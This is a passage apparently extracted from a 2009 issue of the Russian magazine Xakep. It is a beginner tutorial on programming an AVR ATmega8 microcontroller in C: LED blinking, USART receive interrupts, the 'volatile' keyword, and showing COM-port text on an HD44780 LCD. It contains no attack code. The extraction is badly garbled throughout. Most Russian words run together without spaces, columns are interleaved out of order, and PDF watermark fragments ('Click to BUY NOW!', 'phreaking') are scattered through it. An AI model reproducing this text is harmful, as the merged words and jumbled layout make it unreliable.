
}

Впервойстрокеопределяетсятактоваячастота, накоторойбудет работатьмикроконтроллер. Этонеобходимодлякорректнойработы некоторыхфункций. Далеемыподключаеммодули.

WinAVR идетсоченьширокимнаборомзаголовочныхфайлов, вкоторых описываетсявсе, чтоможетпонадобитьсяприработессамымиразными АВРками. Файл«io.h» содержитсписоквсехрегистровдлясоответствующегомикроконтроллера, моделькоторогообычноопределяетсяв файле«makefile». Надеюсь, чтотыужеумеешьписатьмейкфайлы. Нона самомделе, этонеобязательно, ведьможнобезпроблемпользоваться готовымшаблоном, которыйтынайдешьвпримерах. Заголовочный файл«delay.h» содержитфункциизадержек. Функция«main» уже должнабытьзнакоматем, ктопишетнаСи. Именнотутначинаетсянаша программа. Обративнимание, чтопараметрыкоманднойстрокине передаются. Даиоткудаимвзяться? :)

Теперьначинаетсясамоеинтересное. Строка«DDRB |= (1 << 2)» выставляетвторойбит(отсчетидетотнуля!) врегистреDDRB равнымединице. ЗнающиеСинеувидяттутничегосложного. Дляостальныхпоясню, что оператор«<<» выполняетбитовыйсдвигвлево, тоестьвыражение«1 << 2» равночислу4, котороевдвоичнойсистемевыглядиткак«100». Строкуможнозаписатьтакимобразом: DDRB = DDRB | 0b00000100. Выполняетонаследующее: беретзначениерегистраDDRB, произво-

дитлогическоесложениеегосчислом4 изаписываетрезультатназад вDDRB. Послеэтойпростойоперацииврегистреизменяетсятолько второйбит; егозначениестановитсяравнымединице. Первоначальная записьвыглядиткрасивее, еслитызнаешьязык. Вэтомизаключается прелестьСи— короткимвыражениемможнозаписатьдостаточнохитрыйкод(надознатьэтотязык, еслихочешьтакоепонимать).

НонебудемуглублятьсявурокиСи. Логическаяединицавовтором битерегистраDDRB означает, чтовтораяногапорта«B» теперьбудет работатьнавывод. Далеепокодуидетбесконечныйцикл, вкотором мыработаемужесрегистромPORTB, изменяяеговторойбит, авместе

сним— инапряжениенавторойногепорта«B». Можешьсмеловзять светодиод, подключитьегокPB2 ипроверить— онбудетмигатькаждые 100 миллисекунд. Этимпростымпримеромяхочупоказать, что, еслиты знаешьСи, тосможешьужесейчаслегконаписатьсвоюпервуюпрограммудляAVR, котораябудетмигатьсветодиодом. Наверное, именно

стакой«дискотеки» всеиначинали; этосвоеобразный«Hello World» в миремикроконтроллеров. Ионоченьрадует.

ПРЕРЫВАНИЯ

Припрямойработесжелезомбезпрерыванийнеобойтись. Всвое времяэтатемаказаласьмневесьмасложной, аслово«прерывание» даженемногопугало, ведьянепонималегозначения. Наделе, все оченьпросто. Эточастьпрограммы, котораяавтоматическивызывается взаданныймомент. КогдапишемнаСи, прерываниявыглядятпочтикак обычныефункции. Полныйихсписок, значенияиинструкциипоиспользованиютывсегдаможешьнайтивдаташите. Вкачествепростейшего примеравозьмемполучениеданныхизUSART-порта.

Чтениеданных

#include <avr/io.h> #include <avr/interrupt.h> ISR(USART_RXC_vect)

{

int b;

//Получаем данные b = UDR;

//Тут мы их обрабатываем

}

Функция-прерываниеобозначаетсясловом«ISR», вскобкахпосле которогоидетимявекторапрерывания. Впримереэто«USART_RXC», онвызывается, когдазавершенополучениеданныхизUSART-порта. Однакопрерываниенебудетвызываться, еслимикроконтроллеруэтогонеуказать. ВнашемслучаетутиспользуетсябитRXCIE врегистре UCSRB. Витоге, инициализацияUSART портаделаетсяследующим образом:

XÀÊÅÐ 07 /127/ 09

105

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

phreaking

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

RTFM!

Никогданеленисьчитатьдаташиты.

соответствующимипримерамии

Втехническойдокументациивсегда

описаниями. Этодействительно

подробноописано, как пользоваться

оченьподробнаяиценнаяинформа-

соответствующимустройством. Там

ция; осталосьтолькосогласоватьее

тынайдешьирегистрыдляАВРок,

стем, чтотыужезнаешь. Небойся

икомандыдлядисплеясовсеми

экспериментировать!

DVD

dvd

Надискетынайдешь всеисходники,

атакжесамWinAVR, спомощьюкоторого оникомпилируются.

void USART_init(void)

{

#if F_CPU < 2000000UL && defined(U2X) UCSRA = _BV(U2X);

UBRRL = (F_CPU / (8UL * UART_BAUD)) — 1; #else

UBRRL = (F_CPU / (16UL * UART_BAUD)) — 1; #endif

UCSRB = (1 << TXEN) | (1 << RXEN); UCSRB |= (1 << RXCIE);

sei();

}

Многоновыхинепонятныхслов? Смотриихописаниевдаташите! КодинициализируетUSART-портдляработынаскоро- стивUART_BAUD бод; соответственно, нужнозаранеезадать этуконстанту. Ида, каждыйбитврегистретожеимеетсвое названиедляудобстваработы. Насособенноинтересуют последниедвестроки. Простойкод«UCSRB |= (1 << RXCIE)» делаетто, очемянаписалвыше— устанавливаетбитRXCIE равнымединице. Именноэтоговоритмикроконтроллеру

отом, чтонужновызыватьпрерывание. Функцияsei() дает процессорукомандуотом, чтотеперьнадообрабатыватьпрерывания. Фактическиsei() простовключаетвсепрерывания. Ееобязательнонадовызвать, чтобыониначалиработать. Существуетиобратнаяфункция— cli(). Использоватьеестоит, еслитыхочешьотключитьсразувсепрерывания. Иногдаэто

можетбытьполезно(аналогичные команды существуют в ассемблере, cli и sei, — Прим. dlinyj). Обративнимание,

еслитынеопишешьфункциюдляпрерыванияивыполнишь USART_init(), вкоторойоноразрешается, результатбудет непредсказуемым. Такделатьнельзя.

проводовивыделилподнегоотдельныйпорт.

Небудуглубоковдаватьсявпринципыработысдисплеем. Этоширокаятема, поэтомумывозьмемодинизготовых модулей. Общаясхемаработыпрограммыбудетдостаточно простая... Получаемданныеоткомпьютераизаносимихв буфер. Еслипришелсимволконцастроки, тосразужевыводимсодержимоебуферанаэкран.

Приступим! Начнемсопределениянеобходимыхконстант. Дляудобстваихлучшевынестивотдельныйзаголовочный файл, — назовемего«defines.h».

Определенияконстант

//Тактовая частота #define F_CPU 8000000UL

//Скорость USART порта #define UART_BAUD 9600

//Ноги, куда подключен дисплей #define HD44780_PORT B

#define HD44780_RS PORT6 #define HD44780_RW PORT4 #define HD44780_E PORT5 #define HD44780_D4 PORT0 #define HD44780_D5 PORT1 #define HD44780_D6 PORT2 #define HD44780_D7 PORT3

Тутмыопределилитактовуючастоту, накоторойбудетработатьмикроконтроллер, скоростьUSART-портаиноги, куда подключендисплей. Всеэтиданныетыможешьотредакти-

«РАЗРАБОТАЕМ ИСОБЕРЕМУСТРОЙСТВО

СТЕКСТОВЫМLCD-ДИС- ПЛЕЕМ, КОТОРОЕБУДЕТ ВЫВОДИТЬПРОИЗВОЛЬНЫЕДАННЫЕ, ПО- ЛУЧАЕМЫЕСCOM-ПОР- ТАКОМПЬЮТЕРА».

ПОДКЛЮЧАЕМLCD-ДИСПЛЕЙ

Чтож, давайужесделаемчто-тополезное! Разработаем исоберемустройствостекстовымLCD-дисплеем, котороебудетвыводитьпроизвольныеданные, получаемыес COM-портакомпьютера. Явзялдляэтогомикроконтроллер

ATmega8, нотылегкосможешьадаптироватькодподлюбую АВРку, главное, чтобыколичествавыводовхватило. Схема получаетсядостаточнопростая. Вмеге8 ужеестьвстро- енныйUSART-порт. ЧтобыподружитьегосCOM-портом компьютера, необходимоиспользоватьконвертеруровней, например, старыйдобрыйMAX232. Издисплеевжеможно выбратьлюбойнаконтроллереHD44780; ихсуществует огромноемножество. ЯвзялWinstar WH2404, — унего

двестрокипо24 символа, естьподдержкакириллических букв, подсветка, даистоитоннедорого. Дляподключения дисплеякмикроконтроллеруярешилиспользоватьсемь

роватьнасвоеусмотрение. Никогданебойсяэкспериментировать, именнотакобычноиучатся. Перейдемкосновному модулюпрограммы. Начинаетсяон, какобычно, сподключениязаголовочныхфайлов:

Подключениезаголовочныхфайлов

#include "defines.h"

#include <avr/io.h> #include <avr/interrupt.h> #include "hd44780.h"

Файл «defines.h» подключается самым первым, так как следующие хедеры могут требовать соответствующие константы, например, F_CPU. Далее идет «io.h» — стандартный заголовочный файл для работы

106

XÀÊÅÐ 07 /127/ 09

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

w Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

phreakingw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ЕСЛИНАУЧИШЬСЯРИСОВАТЬСИМВОЛЫ, СМОЖЕШЬДЕЛАТЬЗАБАВНЫЕАНИМАЦИИ. ЭТО— ПАКМЕН

ВЫВОДИМ, ЧТОИГРАЕТВВИНАМПЕ

с АВРками. Мы используем прерывания, поэтому подключаем и

«interrupt.h».

Хедер «hd44780.h» нужен для работы с дисплеем. В нем описаны прототипы функций обмена данными с контроллером HD44780. Рекомендую изучить их самостоятельно; посмотри также файл «hd44780.c», в котором описаны сами функции. Это и есть готовый модуль, о котором я писал выше. В статье нет места, чтобы рассказывать, как он работает, но на диске ты его найдешь. Открой даташит по дисплею, сравни с функциями и пойми, как они устроены.

Определимглобальныепеременные:

Определяемглобальныепеременные

volatile char buf[200]; // Буфер

volatile int bufsize = 0; // Длина строки volatile char ready = 0; // Получена ли строка?

Массив«buf» — этобуфер, кудаскладываемполучаемуюстроку; «bufsize» — длинастроки(увеличиваемэтупеременнуюскаждымполученнымбайтом). А«ready» — этопростофлаг, которыйбудетуказывать, полученалистрокаполностью.

Но я не просто так выбрал именно этот пример! Тут есть один хитрый момент. Обрати внимание на директиву «volatile». Сейчас я тебе расскажу про очень популярную ошибку среди новичков, чтобы ты ее не повторял. Дело в том, что у компилятора Си очень хитрый оптимизатор, но им надо уметь пользоваться. Если в коде встречается условие, которое ну никак не выполнится, по мнению компилятора, то оптимизатор легко может вырезать его из программы. Такое условие, например,

— изменение переменной, которая не меняется в коде программы. Но ведь эта глобальная переменная может изменяться по прерыванию! Вот директива «volatile» и указывает именно на то, что переменная может непроизвольно изменяться внешними силами. Далее я покажу пример именно такого кода. Опишем функцию-прерывание.

WINAVR ОТЛИЧНОРАБОТАЕТВСОЧЕТАНИИСAVR STUDIO

Обработчикпрерывания

ISR(USART_RXC_vect)

{

int b;

b = UDR; // Получаем эти данные

if (((b == 13) || (b == 10)) && (bufsize > 0)) ready = 1;

if ((b != 13) && (b != 10)

&& (bufsize < sizeof(buf)-1)) buf[bufsize++] = b;

}

Здесьтыужедолженвсепонимать. Получаемодинбайтданных. Если этонесимволзавершениястроки, тозаносимеговмассивиувеличиваемсчетчикдлиныстроки; иначепишемвпеременную«ready» единицу,

XÀÊÅÐ 07 /127/ 09

107

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

 

phreaking

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ДИСПЛЕЙУЖЕРАБОТАЕТВСИМУЛЯТОРЕ

ПРОСТЕЙШАЯПРОВЕРКАИЗЛИНУКСА. ДА, «/DEV/

 

TTS/0» — ЭТОCOM-ПОРТ

чтоуказываетосновнойпрограмме, чтострокаполученаполностью. Перейдемксамомуглавному— функция«main», скоторойначинается выполнениепрограммы:

Основнаяподпрограмма

int main(void)

{

LCD_init(); USART_init(); while (1)

{

while (!ready);

// Очищаем экран и возвращаем курсор hd44780_wait_ready(); hd44780_outcmd(HD44780_CLR); hd44780_wait_ready(); hd44780_outcmd(HD44780_HOME); hd44780_wait_ready(); hd44780_outcmd(HD44780_DDADDR(0)); int i;

for (i = 0; i < bufsize; i++)

{

hd44780_wait_ready(); hd44780_outdata(buf[i]);

}

bufsize = 0; ready = 0;

}

return 0;

}

СначалаинициализациядисплеяиUSART, — кодэтихфункцийсмотри надиске. Далеепокодуидетглавныйбесконечныйцикл«while(1)»; программавмикроконтроллередолжнавыполнятьсябесконечно,

изнеенетвыхода. Строка«return 0» вконцетолькодлятого, чтобы компиляторнеругался; фактическионаникогданебудетвыполнена. Разберемся, чтожеунастакбесконечновыполняется. Строка«while (!ready);» неделаетабсолютноничего. Программабудетстоятьнаэтом месте, пока«ready» равнонулю. Тынезабылпронашепрерывание? Именнооноизменитпеременную, когдаполучитстрокуцеликом. Если бымынеиспользовалидирективу«volatile», топрограмманаэтом местепростозависалабы. Втакомслучаекомпиляторсчитает, что переменная«ready» неможетизменитьсясамасобой. Итак, строкаполучена, идальшеникакиххитростейнет. Очищаемэкран, возвращаем

108

курсоривыводимтекст. Обративнимание, чтопередкаждойкомандой дисплеюнеобходимоожидатьегоготовности. Нуивконценезабываем обнулитьпеременные. Прошивкаготова!

ФЬЮЗЫ

Надеюсь, тыужезнаешьчтотакое«фьюзы» (FUSES)? Этодвабайтав специальнойпамятиАВРки, гдехранятсянастройки. Этибайтыможно изменитьтолькоспомощьюпрограмматора.

В случае с мегой8 у меня младший и старший фьюзы равны, соответственно, 0xE4 и 0xD9. Это значит, что у нас включены следующие конфигурационные биты: CKSEL0, CKSEL1, CKSEL3, SUT0, SPIEN, BOOTSZ0, BOOTSZ1. Для их вычисления существует множество утилит, а их значения есть в даташите. Самое главное — это выбор тактовой частоты. В данном случае — 8МГц со встроенным источником синхронизации.

ПРОВЕРЯЕМ

Компилируем и прошиваем микроконтроллер получившейся прошивкой. Подключаем готовое устройство к COM-порту компьютера. Очень надеюсь, что этот порт у тебя есть, иначе используй специальный PCI или USB контроллер (в качестве последнего можешь взять шнурок от мобильника).

Думаю, что с такими простыми задачами ты справишься. Запускай на компе любой эмулятор терминала, настраивай его на соответствующий порт и скорость; в моем случае это 9600 бод, один стоповый бит, проверки четности нет, контроля передачи данных тоже нет. Сделал? Набирай на клавиатуре произвольный текст, жми <Enter> — набранное будет выведено на дисплей. Полагаю, ты уже понял, как это использовать. Например, в Linux достаточно прос-

той команды вроде «echo “Hello world!” > /dev/ttyS0» для вывода соответствующей надписи. Ты легко сможешь написать скрипт для отображения загрузки процессора, загруженности канала… да чего угодно! Только учти, что в примере реализуется работа только с первой строкой. А еще в этих дисплеях очень необычная кодировка, поэтому русский текст надо конвертировать. Доверяю тебе самому решить эти проблемы. Наверняка, справишься.

ИТОГ

Цельстатьи— датьпонять, чтоеслитызнаешьСи, ноявляешься полнымчайникомвмикроконтроллерах, тотебеничтонемешаетуже сейчаслегкописатьпростейшиепрограммы. Япостаралсяпреподнеститебеосновыипоказатьпарочкупримеров. Многие, вероятно, будуткритиковатьменяиговорить, чтопрощеподключитьдисплейк LPT-порту. Ачтоделать, еслиLPT-портанакомпенет? Илиеслиэто вообщенекомпьютер? Отом, кактакоевозможноизачемнужно, я расскажутебевследующийраз.z

XÀÊÅÐ 07 /127/ 09

Соседние файлы в папке журнал хакер